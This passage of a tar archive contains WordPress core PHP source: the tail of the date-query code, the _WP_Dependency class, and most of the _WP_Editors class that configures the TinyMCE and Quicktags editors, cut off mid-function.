( null !== $hour ) { $format .= '%H.'; $time .= sprintf( '%02d', $hour ) . '.'; } else { $format .= '0.'; $time .= '0.'; } // Minute. $format .= '%i'; $time .= sprintf( '%02d', $minute ); if ( isset( $second ) ) { $format .= '%s'; $time .= sprintf( '%02d', $second ); } return $wpdb->prepare( "DATE_FORMAT( $column, %s ) $compare %f", $format, $time ); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-dependency.php�����������������������������������������������������������������������������0000644�����������������00000004717�15120262030�0011122 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Dependencies API: _WP_Dependency class * * @since 4.7.0 * * @package WordPress * @subpackage Dependencies */ /** * Class _WP_Dependency * * Helper class to register a handle and associated data. * * @access private * @since 2.6.0 */ class _WP_Dependency { /** * The handle name. * * @since 2.6.0 * @var string */ public $handle; /** * The handle source. * * @since 2.6.0 * @var string */ public $src; /** * An array of handle dependencies. * * @since 2.6.0 * @var string[] */ public $deps = array(); /** * The handle version. * * Used for cache-busting. * * @since 2.6.0 * @var bool|string */ public $ver = false; /** * Additional arguments for the handle. * * @since 2.6.0 * @var array */ public $args = null; // Custom property, such as $in_footer or $media. /** * Extra data to supply to the handle. * * @since 2.6.0 * @var array */ public $extra = array(); /** * Translation textdomain set for this dependency. * * @since 5.0.0 * @var string */ public $textdomain; /** * Translation path set for this dependency. * * @since 5.0.0 * @var string */ public $translations_path; /** * Setup dependencies. * * @since 2.6.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param mixed ...$args Dependency information. */ public function __construct( ...$args ) { list( $this->handle, $this->src, $this->deps, $this->ver, $this->args ) = $args; if ( ! is_array( $this->deps ) ) { $this->deps = array(); } } /** * Add handle data. * * @since 2.6.0 * * @param string $name The data key to add. * @param mixed $data The data value to add. * @return bool False if not scalar, true otherwise. */ public function add_data( $name, $data ) { if ( ! is_scalar( $name ) ) { return false; } $this->extra[ $name ] = $data; return true; } /** * Sets the translation domain for this dependency. * * @since 5.0.0 * * @param string $domain The translation textdomain. * @param string $path Optional. The full file path to the directory containing translation files. * @return bool False if $domain is not a string, true otherwise. */ public function set_translations( $domain, $path = null ) { if ( ! is_string( $domain ) ) { return false; } $this->textdomain = $domain; $this->translations_path = $path; return true; } } �������������������������������������������������class-wp-editor.php���������������������������������������������������������������������������������0000644�����������������00000211632�15120262030�0010266 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Facilitates adding of the WordPress editor as used on the Write and Edit screens. * * @package WordPress * @since 3.3.0 * * Private, not included by default. See wp_editor() in wp-includes/general-template.php. */ final class _WP_Editors { public static $mce_locale; private static $mce_settings = array(); private static $qt_settings = array(); private static $plugins = array(); private static $qt_buttons = array(); private static $ext_plugins; private static $baseurl; private static $first_init; private static $this_tinymce = false; private static $this_quicktags = false; private static $has_tinymce = false; private static $has_quicktags = false; private static $has_medialib = false; private static $editor_buttons_css = true; private static $drag_drop_upload = false; private static $translation; private static $tinymce_scripts_printed = false; private static $link_dialog_printed = false; private function __construct() {} /** * Parse default arguments for the editor instance. * * @since 3.3.0 * * @param string $editor_id HTML ID for the textarea and TinyMCE and Quicktags instances. * Should not contain square brackets. * @param array $settings { * Array of editor arguments. * * @type bool $wpautop Whether to use wpautop(). Default true. * @type bool $media_buttons Whether to show the Add Media/other media buttons. * @type string $default_editor When both TinyMCE and Quicktags are used, set which * editor is shown on page load. Default empty. * @type bool $drag_drop_upload Whether to enable drag & drop on the editor uploading. Default false. * Requires the media modal. * @type string $textarea_name Give the textarea a unique name here. Square brackets * can be used here. Default $editor_id. * @type int $textarea_rows Number rows in the editor textarea. Default 20. * @type string|int $tabindex Tabindex value to use. Default empty. * @type string $tabfocus_elements The previous and next element ID to move the focus to * when pressing the Tab key in TinyMCE. Default ':prev,:next'. * @type string $editor_css Intended for extra styles for both Visual and Text editors. * Should include `<style>` tags, and can use "scoped". Default empty. * @type string $editor_class Extra classes to add to the editor textarea element. Default empty. * @type bool $teeny Whether to output the minimal editor config. Examples include * Press This and the Comment editor. Default false. * @type bool $dfw Deprecated in 4.1. Unused. * @type bool|array $tinymce Whether to load TinyMCE. Can be used to pass settings directly to * TinyMCE using an array. Default true. * @type bool|array $quicktags Whether to load Quicktags. Can be used to pass settings directly to * Quicktags using an array. Default true. * } * @return array Parsed arguments array. */ public static function parse_settings( $editor_id, $settings ) { /** * Filters the wp_editor() settings. * * @since 4.0.0 * * @see _WP_Editors::parse_settings() * * @param array $settings Array of editor arguments. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $settings = apply_filters( 'wp_editor_settings', $settings, $editor_id ); $set = wp_parse_args( $settings, array( // Disable autop if the current post has blocks in it. 'wpautop' => ! has_blocks(), 'media_buttons' => true, 'default_editor' => '', 'drag_drop_upload' => false, 'textarea_name' => $editor_id, 'textarea_rows' => 20, 'tabindex' => '', 'tabfocus_elements' => ':prev,:next', 'editor_css' => '', 'editor_class' => '', 'teeny' => false, '_content_editor_dfw' => false, 'tinymce' => true, 'quicktags' => true, ) ); self::$this_tinymce = ( $set['tinymce'] && user_can_richedit() ); if ( self::$this_tinymce ) { if ( false !== strpos( $editor_id, '[' ) ) { self::$this_tinymce = false; _deprecated_argument( 'wp_editor()', '3.9.0', 'TinyMCE editor IDs cannot have brackets.' ); } } self::$this_quicktags = (bool) $set['quicktags']; if ( self::$this_tinymce ) { self::$has_tinymce = true; } if ( self::$this_quicktags ) { self::$has_quicktags = true; } if ( empty( $set['editor_height'] ) ) { return $set; } if ( 'content' === $editor_id && empty( $set['tinymce']['wp_autoresize_on'] ) ) { // A cookie (set when a user resizes the editor) overrides the height. $cookie = (int) get_user_setting( 'ed_size' ); if ( $cookie ) { $set['editor_height'] = $cookie; } } if ( $set['editor_height'] < 50 ) { $set['editor_height'] = 50; } elseif ( $set['editor_height'] > 5000 ) { $set['editor_height'] = 5000; } return $set; } /** * Outputs the HTML for a single instance of the editor. * * @since 3.3.0 * * @param string $content Initial content for the editor. * @param string $editor_id HTML ID for the textarea and TinyMCE and Quicktags instances. * Should not contain square brackets. * @param array $settings See _WP_Editors::parse_settings() for description. */ public static function editor( $content, $editor_id, $settings = array() ) { $set = self::parse_settings( $editor_id, $settings ); $editor_class = ' class="' . trim( esc_attr( $set['editor_class'] ) . ' wp-editor-area' ) . '"'; $tabindex = $set['tabindex'] ? ' tabindex="' . (int) $set['tabindex'] . '"' : ''; $default_editor = 'html'; $buttons = ''; $autocomplete = ''; $editor_id_attr = esc_attr( $editor_id ); if ( $set['drag_drop_upload'] ) { self::$drag_drop_upload = true; } if ( ! empty( $set['editor_height'] ) ) { $height = ' style="height: ' . (int) $set['editor_height'] . 'px"'; } else { $height = ' rows="' . (int) $set['textarea_rows'] . '"'; } if ( ! current_user_can( 'upload_files' ) ) { $set['media_buttons'] = false; } if ( self::$this_tinymce ) { $autocomplete = ' autocomplete="off"'; if ( self::$this_quicktags ) { $default_editor = $set['default_editor'] ? $set['default_editor'] : wp_default_editor(); // 'html' is used for the "Text" editor tab. if ( 'html' !== $default_editor ) { $default_editor = 'tinymce'; } $buttons .= '<button type="button" id="' . $editor_id_attr . '-tmce" class="wp-switch-editor switch-tmce"' . ' data-wp-editor-id="' . $editor_id_attr . '">' . _x( 'Visual', 'Name for the Visual editor tab' ) . "</button>\n"; $buttons .= '<button type="button" id="' . $editor_id_attr . '-html" class="wp-switch-editor switch-html"' . ' data-wp-editor-id="' . $editor_id_attr . '">' . _x( 'Text', 'Name for the Text editor tab (formerly HTML)' ) . "</button>\n"; } else { $default_editor = 'tinymce'; } } $switch_class = 'html' === $default_editor ? 'html-active' : 'tmce-active'; $wrap_class = 'wp-core-ui wp-editor-wrap ' . $switch_class; if ( $set['_content_editor_dfw'] ) { $wrap_class .= ' has-dfw'; } echo '<div id="wp-' . $editor_id_attr . '-wrap" class="' . $wrap_class . '">'; if ( self::$editor_buttons_css ) { wp_print_styles( 'editor-buttons' ); self::$editor_buttons_css = false; } if ( ! empty( $set['editor_css'] ) ) { echo $set['editor_css'] . "\n"; } if ( ! empty( $buttons ) || $set['media_buttons'] ) { echo '<div id="wp-' . $editor_id_attr . '-editor-tools" class="wp-editor-tools hide-if-no-js">'; if ( $set['media_buttons'] ) { self::$has_medialib = true; if ( ! function_exists( 'media_buttons' ) ) { require ABSPATH . 'wp-admin/includes/media.php'; } echo '<div id="wp-' . $editor_id_attr . '-media-buttons" class="wp-media-buttons">'; /** * Fires after the default media button(s) are displayed. * * @since 2.5.0 * * @param string $editor_id Unique editor identifier, e.g. 'content'. */ do_action( 'media_buttons', $editor_id ); echo "</div>\n"; } echo '<div class="wp-editor-tabs">' . $buttons . "</div>\n"; echo "</div>\n"; } $quicktags_toolbar = ''; if ( self::$this_quicktags ) { if ( 'content' === $editor_id && ! empty( $GLOBALS['current_screen'] ) && 'post' === $GLOBALS['current_screen']->base ) { $toolbar_id = 'ed_toolbar'; } else { $toolbar_id = 'qt_' . $editor_id_attr . '_toolbar'; } $quicktags_toolbar = '<div id="' . $toolbar_id . '" class="quicktags-toolbar"></div>'; } /** * Filters the HTML markup output that displays the editor. * * @since 2.1.0 * * @param string $output Editor's HTML markup. */ $the_editor = apply_filters( 'the_editor', '<div id="wp-' . $editor_id_attr . '-editor-container" class="wp-editor-container">' . $quicktags_toolbar . '<textarea' . $editor_class . $height . $tabindex . $autocomplete . ' cols="40" name="' . esc_attr( $set['textarea_name'] ) . '" ' . 'id="' . $editor_id_attr . '">%s</textarea></div>' ); // Prepare the content for the Visual or Text editor, only when TinyMCE is used (back-compat). if ( self::$this_tinymce ) { add_filter( 'the_editor_content', 'format_for_editor', 10, 2 ); } /** * Filters the default editor content. * * @since 2.1.0 * * @param string $content Default editor content. * @param string $default_editor The default editor for the current user. * Either 'html' or 'tinymce'. */ $content = apply_filters( 'the_editor_content', $content, $default_editor ); // Remove the filter as the next editor on the same page may not need it. if ( self::$this_tinymce ) { remove_filter( 'the_editor_content', 'format_for_editor' ); } // Back-compat for the `htmledit_pre` and `richedit_pre` filters. if ( 'html' === $default_editor && has_filter( 'htmledit_pre' ) ) { /** This filter is documented in wp-includes/deprecated.php */ $content = apply_filters_deprecated( 'htmledit_pre', array( $content ), '4.3.0', 'format_for_editor' ); } elseif ( 'tinymce' === $default_editor && has_filter( 'richedit_pre' ) ) { /** This filter is documented in wp-includes/deprecated.php */ $content = apply_filters_deprecated( 'richedit_pre', array( $content ), '4.3.0', 'format_for_editor' ); } if ( false !== stripos( $content, 'textarea' ) ) { $content = preg_replace( '%</textarea%i', '</textarea', $content ); } printf( $the_editor, $content ); echo "\n</div>\n\n"; self::editor_settings( $editor_id, $set ); } /** * @since 3.3.0 * * @param string $editor_id Unique editor identifier, e.g. 'content'. * @param array $set Array of editor arguments. */ public static function editor_settings( $editor_id, $set ) { if ( empty( self::$first_init ) ) { if ( is_admin() ) { add_action( 'admin_print_footer_scripts', array( __CLASS__, 'editor_js' ), 50 ); add_action( 'admin_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 ); add_action( 'admin_print_footer_scripts', array( __CLASS__, 'enqueue_scripts' ), 1 ); } else { add_action( 'wp_print_footer_scripts', array( __CLASS__, 'editor_js' ), 50 ); add_action( 'wp_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 ); add_action( 'wp_print_footer_scripts', array( __CLASS__, 'enqueue_scripts' ), 1 ); } } if ( self::$this_quicktags ) { $qtInit = array( 'id' => $editor_id, 'buttons' => '', ); if ( is_array( $set['quicktags'] ) ) { $qtInit = array_merge( $qtInit, $set['quicktags'] ); } if ( empty( $qtInit['buttons'] ) ) { $qtInit['buttons'] = 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close'; } if ( $set['_content_editor_dfw'] ) { $qtInit['buttons'] .= ',dfw'; } /** * Filters the Quicktags settings. * * @since 3.3.0 * * @param array $qtInit Quicktags settings. * @param string $editor_id Unique editor identifier, e.g. 'content'. */ $qtInit = apply_filters( 'quicktags_settings', $qtInit, $editor_id ); self::$qt_settings[ $editor_id ] = $qtInit; self::$qt_buttons = array_merge( self::$qt_buttons, explode( ',', $qtInit['buttons'] ) ); } if ( self::$this_tinymce ) { if ( empty( self::$first_init ) ) { $baseurl = self::get_baseurl(); $mce_locale = self::get_mce_locale(); $ext_plugins = ''; if ( $set['teeny'] ) { /** * Filters the list of teenyMCE plugins. * * @since 2.7.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $plugins An array of teenyMCE plugins. * @param string $editor_id Unique editor identifier, e.g. 'content'. */ $plugins = apply_filters( 'teeny_mce_plugins', array( 'colorpicker', 'lists', 'fullscreen', 'image', 'wordpress', 'wpeditimage', 'wplink', ), $editor_id ); } else { /** * Filters the list of TinyMCE external plugins. * * The filter takes an associative array of external plugins for * TinyMCE in the form 'plugin_name' => 'url'. * * The url should be absolute, and should include the js filename * to be loaded. For example: * 'myplugin' => 'http://mysite.com/wp-content/plugins/myfolder/mce_plugin.js'. * * If the external plugin adds a button, it should be added with * one of the 'mce_buttons' filters. * * @since 2.5.0 * @since 5.3.0 The `$editor_id` parameter was added. * * @param array $external_plugins An array of external TinyMCE plugins. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_external_plugins = apply_filters( 'mce_external_plugins', array(), $editor_id ); $plugins = array( 'charmap', 'colorpicker', 'hr', 'lists', 'media', 'paste', 'tabfocus', 'textcolor', 'fullscreen', 'wordpress', 'wpautoresize', 'wpeditimage', 'wpemoji', 'wpgallery', 'wplink', 'wpdialogs', 'wptextpattern', 'wpview', ); if ( ! self::$has_medialib ) { $plugins[] = 'image'; } /** * Filters the list of default TinyMCE plugins. * * The filter specifies which of the default plugins included * in WordPress should be added to the TinyMCE instance. * * @since 3.3.0 * @since 5.3.0 The `$editor_id` parameter was added. * * @param array $plugins An array of default TinyMCE plugins. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $plugins = array_unique( apply_filters( 'tiny_mce_plugins', $plugins, $editor_id ) ); $key = array_search( 'spellchecker', $plugins, true ); if ( false !== $key ) { // Remove 'spellchecker' from the internal plugins if added with 'tiny_mce_plugins' filter to prevent errors. // It can be added with 'mce_external_plugins'. unset( $plugins[ $key ] ); } if ( ! empty( $mce_external_plugins ) ) { /** * Filters the translations loaded for external TinyMCE 3.x plugins. * * The filter takes an associative array ('plugin_name' => 'path') * where 'path' is the include path to the file. * * The language file should follow the same format as wp_mce_translation(), * and should define a variable ($strings) that holds all translated strings. * * @since 2.5.0 * @since 5.3.0 The `$editor_id` parameter was added. * * @param array $translations Translations for external TinyMCE plugins. * @param string $editor_id Unique editor identifier, e.g. 'content'. */ $mce_external_languages = apply_filters( 'mce_external_languages', array(), $editor_id ); $loaded_langs = array(); $strings = ''; if ( ! empty( $mce_external_languages ) ) { foreach ( $mce_external_languages as $name => $path ) { if ( @is_file( $path ) && @is_readable( $path ) ) { include_once $path; $ext_plugins .= $strings . "\n"; $loaded_langs[] = $name; } } } foreach ( $mce_external_plugins as $name => $url ) { if ( in_array( $name, $plugins, true ) ) { unset( $mce_external_plugins[ $name ] ); continue; } $url = set_url_scheme( $url ); $mce_external_plugins[ $name ] = $url; $plugurl = dirname( $url ); $strings = ''; // Try to load langs/[locale].js and langs/[locale]_dlg.js. if ( ! in_array( $name, $loaded_langs, true ) ) { $path = str_replace( content_url(), '', $plugurl ); $path = WP_CONTENT_DIR . $path . '/langs/'; $path = trailingslashit( realpath( $path ) ); if ( @is_file( $path . $mce_locale . '.js' ) ) { $strings .= @file_get_contents( $path . $mce_locale . '.js' ) . "\n"; } if ( @is_file( $path . $mce_locale . '_dlg.js' ) ) { $strings .= @file_get_contents( $path . $mce_locale . '_dlg.js' ) . "\n"; } if ( 'en' !== $mce_locale && empty( $strings ) ) { if ( @is_file( $path . 'en.js' ) ) { $str1 = @file_get_contents( $path . 'en.js' ); $strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str1, 1 ) . "\n"; } if ( @is_file( $path . 'en_dlg.js' ) ) { $str2 = @file_get_contents( $path . 'en_dlg.js' ); $strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str2, 1 ) . "\n"; } } if ( ! empty( $strings ) ) { $ext_plugins .= "\n" . $strings . "\n"; } } $ext_plugins .= 'tinyMCEPreInit.load_ext("' . $plugurl . '", "' . $mce_locale . '");' . "\n"; } } } self::$plugins = $plugins; self::$ext_plugins = $ext_plugins; $settings = self::default_settings(); $settings['plugins'] = implode( ',', $plugins ); if ( ! empty( $mce_external_plugins ) ) { $settings['external_plugins'] = wp_json_encode( $mce_external_plugins ); } /** This filter is documented in wp-admin/includes/media.php */ if ( apply_filters( 'disable_captions', '' ) ) { $settings['wpeditimage_disable_captions'] = true; } $mce_css = $settings['content_css']; /* * The `editor-style.css` added by the theme is generally intended for the editor instance on the Edit Post screen. * Plugins that use wp_editor() on the front-end can decide whether to add the theme stylesheet * by using `get_editor_stylesheets()` and the `mce_css` or `tiny_mce_before_init` filters, see below. */ if ( is_admin() ) { $editor_styles = get_editor_stylesheets(); if ( ! empty( $editor_styles ) ) { // Force urlencoding of commas. foreach ( $editor_styles as $key => $url ) { if ( strpos( $url, ',' ) !== false ) { $editor_styles[ $key ] = str_replace( ',', '%2C', $url ); } } $mce_css .= ',' . implode( ',', $editor_styles ); } } /** * Filters the comma-delimited list of stylesheets to load in TinyMCE. * * @since 2.1.0 * * @param string $stylesheets Comma-delimited list of stylesheets. */ $mce_css = trim( apply_filters( 'mce_css', $mce_css ), ' ,' ); if ( ! empty( $mce_css ) ) { $settings['content_css'] = $mce_css; } else { unset( $settings['content_css'] ); } self::$first_init = $settings; } if ( $set['teeny'] ) { $mce_buttons = array( 'bold', 'italic', 'underline', 'blockquote', 'strikethrough', 'bullist', 'numlist', 'alignleft', 'aligncenter', 'alignright', 'undo', 'redo', 'link', 'fullscreen', ); /** * Filters the list of teenyMCE buttons (Text tab). * * @since 2.7.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_buttons An array of teenyMCE buttons. * @param string $editor_id Unique editor identifier, e.g. 'content'. */ $mce_buttons = apply_filters( 'teeny_mce_buttons', $mce_buttons, $editor_id ); $mce_buttons_2 = array(); $mce_buttons_3 = array(); $mce_buttons_4 = array(); } else { $mce_buttons = array( 'formatselect', 'bold', 'italic', 'bullist', 'numlist', 'blockquote', 'alignleft', 'aligncenter', 'alignright', 'link', 'wp_more', 'spellchecker', ); if ( ! wp_is_mobile() ) { if ( $set['_content_editor_dfw'] ) { $mce_buttons[] = 'wp_adv'; $mce_buttons[] = 'dfw'; } else { $mce_buttons[] = 'fullscreen'; $mce_buttons[] = 'wp_adv'; } } else { $mce_buttons[] = 'wp_adv'; } /** * Filters the first-row list of TinyMCE buttons (Visual tab). * * @since 2.0.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_buttons First-row list of buttons. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_buttons = apply_filters( 'mce_buttons', $mce_buttons, $editor_id ); $mce_buttons_2 = array( 'strikethrough', 'hr', 'forecolor', 'pastetext', 'removeformat', 'charmap', 'outdent', 'indent', 'undo', 'redo', ); if ( ! wp_is_mobile() ) { $mce_buttons_2[] = 'wp_help'; } /** * Filters the second-row list of TinyMCE buttons (Visual tab). * * @since 2.0.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_buttons_2 Second-row list of buttons. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_buttons_2 = apply_filters( 'mce_buttons_2', $mce_buttons_2, $editor_id ); /** * Filters the third-row list of TinyMCE buttons (Visual tab). * * @since 2.0.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_buttons_3 Third-row list of buttons. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_buttons_3 = apply_filters( 'mce_buttons_3', array(), $editor_id ); /** * Filters the fourth-row list of TinyMCE buttons (Visual tab). * * @since 2.5.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mce_buttons_4 Fourth-row list of buttons. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mce_buttons_4 = apply_filters( 'mce_buttons_4', array(), $editor_id ); } $body_class = $editor_id; $post = get_post(); if ( $post ) { $body_class .= ' post-type-' . sanitize_html_class( $post->post_type ) . ' post-status-' . sanitize_html_class( $post->post_status ); if ( post_type_supports( $post->post_type, 'post-formats' ) ) { $post_format = get_post_format( $post ); if ( $post_format && ! is_wp_error( $post_format ) ) { $body_class .= ' post-format-' . sanitize_html_class( $post_format ); } else { $body_class .= ' post-format-standard'; } } $page_template = get_page_template_slug( $post ); if ( false !== $page_template ) { $page_template = empty( $page_template ) ? 'default' : str_replace( '.', '-', basename( $page_template, '.php' ) ); $body_class .= ' page-template-' . sanitize_html_class( $page_template ); } } $body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) ); if ( ! empty( $set['tinymce']['body_class'] ) ) { $body_class .= ' ' . $set['tinymce']['body_class']; unset( $set['tinymce']['body_class'] ); } $mceInit = array( 'selector' => "#$editor_id", 'wpautop' => (bool) $set['wpautop'], 'indent' => ! $set['wpautop'], 'toolbar1' => implode( ',', $mce_buttons ), 'toolbar2' => implode( ',', $mce_buttons_2 ), 'toolbar3' => implode( ',', $mce_buttons_3 ), 'toolbar4' => implode( ',', $mce_buttons_4 ), 'tabfocus_elements' => $set['tabfocus_elements'], 'body_class' => $body_class, ); // Merge with the first part of the init array. $mceInit = array_merge( self::$first_init, $mceInit ); if ( is_array( $set['tinymce'] ) ) { $mceInit = array_merge( $mceInit, $set['tinymce'] ); } /* * For people who really REALLY know what they're doing with TinyMCE * You can modify $mceInit to add, remove, change elements of the config * before tinyMCE.init. Setting "valid_elements", "invalid_elements" * and "extended_valid_elements" can be done through this filter. Best * is to use the default cleanup by not specifying valid_elements, * as TinyMCE checks against the full set of HTML 5.0 elements and attributes. */ if ( $set['teeny'] ) { /** * Filters the teenyMCE config before init. * * @since 2.7.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mceInit An array with teenyMCE config. * @param string $editor_id Unique editor identifier, e.g. 'content'. */ $mceInit = apply_filters( 'teeny_mce_before_init', $mceInit, $editor_id ); } else { /** * Filters the TinyMCE config before init. * * @since 2.5.0 * @since 3.3.0 The `$editor_id` parameter was added. * * @param array $mceInit An array with TinyMCE config. * @param string $editor_id Unique editor identifier, e.g. 'content'. Accepts 'classic-block' * when called from block editor's Classic block. */ $mceInit = apply_filters( 'tiny_mce_before_init', $mceInit, $editor_id ); } if ( empty( $mceInit['toolbar3'] ) && ! empty( $mceInit['toolbar4'] ) ) { $mceInit['toolbar3'] = $mceInit['toolbar4']; $mceInit['toolbar4'] = ''; } self::$mce_settings[ $editor_id ] = $mceInit; } // End if self::$this_tinymce. } /** * @since 3.3.0 * * @param array $init * @return string */ private static function _parse_init( $init ) { $options = ''; foreach ( $init as $key => $value ) { if ( is_bool( $value ) ) { $val = $value ? 'true' : 'false'; $options .= $key . ':' . $val . ','; continue; } elseif ( ! empty( $value ) && is_string( $value ) && ( ( '{' === $value[0] && '}' === $value[ strlen( $value ) - 1 ] ) || ( '[' === $value[0] && ']' === $value[ strlen( $value ) - 1 ] ) || preg_match( '/^\(?function ?\(/', $value ) ) ) { $options .= $key . ':' . $value . ','; continue; } $options .= $key . ':"' . $value . '",'; } return '{' . trim( $options, ' ,' ) . '}'; } /** * @since 3.3.0 * * @param bool $default_scripts Optional. Whether default scripts should be enqueued. Default false. */ public static function enqueue_scripts( $default_scripts = false ) { if ( $default_scripts || self::$has_tinymce ) { wp_enqueue_script( 'editor' ); } if ( $default_scripts || self::$has_quicktags ) { wp_enqueue_script( 'quicktags' ); wp_enqueue_style( 'buttons' ); } if ( $default_scripts || in_array( 'wplink', self::$plugins, true ) || in_array( 'link', self::$qt_buttons, true ) ) { wp_enqueue_script( 'wplink' ); wp_enqueue_script( 'jquery-ui-autocomplete' ); } if ( self::$has_medialib ) { add_thickbox(); wp_enqueue_script( 'media-upload' ); wp_enqueue_script( 'wp-embed' ); } elseif ( $default_scripts ) { wp_enqueue_script( 'media-upload' ); } /** * Fires when scripts and styles are enqueued for the editor. * * @since 3.9.0 * * @param array $to_load An array containing boolean values whether TinyMCE * and Quicktags are being loaded. */ do_action( 'wp_enqueue_editor', array( 'tinymce' => ( $default_scripts || self::$has_tinymce ), 'quicktags' => ( $default_scripts || self::$has_quicktags ), ) ); } /** * Enqueue all editor scripts. * For use when the editor is going to be initialized after page load. * * @since 4.8.0 */ public static function enqueue_default_editor() { // We are past the point where scripts can be enqueued properly. if ( did_action( 'wp_enqueue_editor' ) ) { return; } self::enqueue_scripts( true ); // Also add wp-includes/css/editor.css. wp_enqueue_style( 'editor-buttons' ); if ( is_admin() ) { add_action( 'admin_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 ); add_action( 'admin_print_footer_scripts', array( __CLASS__, 'print_default_editor_scripts' ), 45 ); } else { add_action( 'wp_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 ); add_action( 'wp_print_footer_scripts', array( __CLASS__, 'print_default_editor_scripts' ), 45 ); } } /** * Print (output) all editor scripts and default settings. * For use when the editor is going to be initialized after page load. * * @since 4.8.0 */ public static function print_default_editor_scripts() { $user_can_richedit = user_can_richedit(); if ( $user_can_richedit ) { $settings = self::default_settings(); $settings['toolbar1'] = 'bold,italic,bullist,numlist,link'; $settings['wpautop'] = false; $settings['indent'] = true; $settings['elementpath'] = false; if ( is_rtl() ) { $settings['directionality'] = 'rtl'; } /* * In production all plugins are loaded (they are in wp-editor.js.gz). * The 'wpview', 'wpdialogs', and 'media' TinyMCE plugins are not initialized by default. * Can be added from js by using the 'wp-before-tinymce-init' event. */ $settings['plugins'] = implode( ',', array( 'charmap', 'colorpicker', 'hr', 'lists', 'paste', 'tabfocus', 'textcolor', 'fullscreen', 'wordpress', 'wpautoresize', 'wpeditimage', 'wpemoji', 'wpgallery', 'wplink', 'wptextpattern', ) ); $settings = self::_parse_init( $settings ); } else { $settings = '{}'; } ?> <script type="text/javascript"> window.wp = window.wp || {}; window.wp.editor = window.wp.editor || {}; window.wp.editor.getDefaultSettings = function() { return { tinymce: <?php echo $settings; ?>, quicktags: { buttons: 'strong,em,link,ul,ol,li,code' } }; }; <?php if ( $user_can_richedit ) { $suffix = SCRIPT_DEBUG ? '' : '.min'; $baseurl = self::get_baseurl(); ?> var tinyMCEPreInit = { baseURL: "<?php echo $baseurl; ?>", suffix: "<?php echo $suffix; ?>", mceInit: {}, qtInit: {}, load_ext: function(url,lang){var sl=tinymce.ScriptLoader;sl.markDone(url+'/langs/'+lang+'.js');sl.markDone(url+'/langs/'+lang+'_dlg.js');} }; <?php } ?> </script> <?php if ( $user_can_richedit ) { self::print_tinymce_scripts(); } /** * Fires when the editor scripts are loaded for later initialization, * after all scripts and settings are printed. * * @since 4.8.0 */ do_action( 'print_default_editor_scripts' ); self::wp_link_dialog(); } /** * Returns the TinyMCE locale. * * @since 4.8.0 * * @return string */ public static function get_mce_locale() { if ( empty( self::$mce_locale ) ) { $mce_locale = get_user_locale(); self::$mce_locale = empty( $mce_locale ) ? 'en' : strtolower( substr( $mce_locale, 0, 2 ) ); // ISO 639-1. } return self::$mce_locale; } /** * Returns the TinyMCE base URL. * * @since 4.8.0 * * @return string */ public static function get_baseurl() { if ( empty( self::$baseurl ) ) { self::$baseurl = includes_url( 'js/tinymce' ); } return self::$baseurl; } /** * Returns the default TinyMCE settings. * Doesn't include plugins, buttons, editor selector. * * @since 4.8.0 * * @global string $tinymce_version * * @return array */ private static function default_settings() { global $tinymce_version; $shortcut_labels = array(); foreach ( self::get_translation() as $name => $value ) { if ( is_array( $value ) ) { $shortcut_labels[ $name ] = $value[1]; } } $settings = array( 'theme' => 'modern', 'skin' => 'lightgray', 'language' => self::get_mce_locale(), 'formats' => '{' . 'alignleft: [' . '{selector: "p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li", styles: {textAlign:"left"}},' . '{selector: "img,table,dl.wp-caption", classes: "alignleft"}' . '],' . 'aligncenter: [' . '{selector: "p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li", styles: {textAlign:"center"}},' . '{selector: "img,table,dl.wp-caption", classes: "aligncenter"}' . '],' . 'alignright: [' . '{selector: "p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li", styles: {textAlign:"right"}},' . '{selector: "img,table,dl.wp-caption", classes: "alignright"}' . '],' . 'strikethrough: {inline: "del"}' . '}', 'relative_urls' => false, 'remove_script_host' => false, 'convert_urls' => false, 'browser_spellcheck' => true, 'fix_list_elements' => true, 'entities' => '38,amp,60,lt,62,gt', 'entity_encoding' => 'raw', 'keep_styles' => false, 'cache_suffix' => 'wp-mce-' . $tinymce_version, 'resize' => 'vertical', 'menubar' => false, 'branding' => false, // Limit the preview styles in the menu/toolbar. 'preview_styles' => 'font-family font-size font-weight font-style text-decoration text-transform', 'end_container_on_empty_block' => true, 'wpeditimage_html5_captions' => true, 'wp_lang_attr' => get_bloginfo( 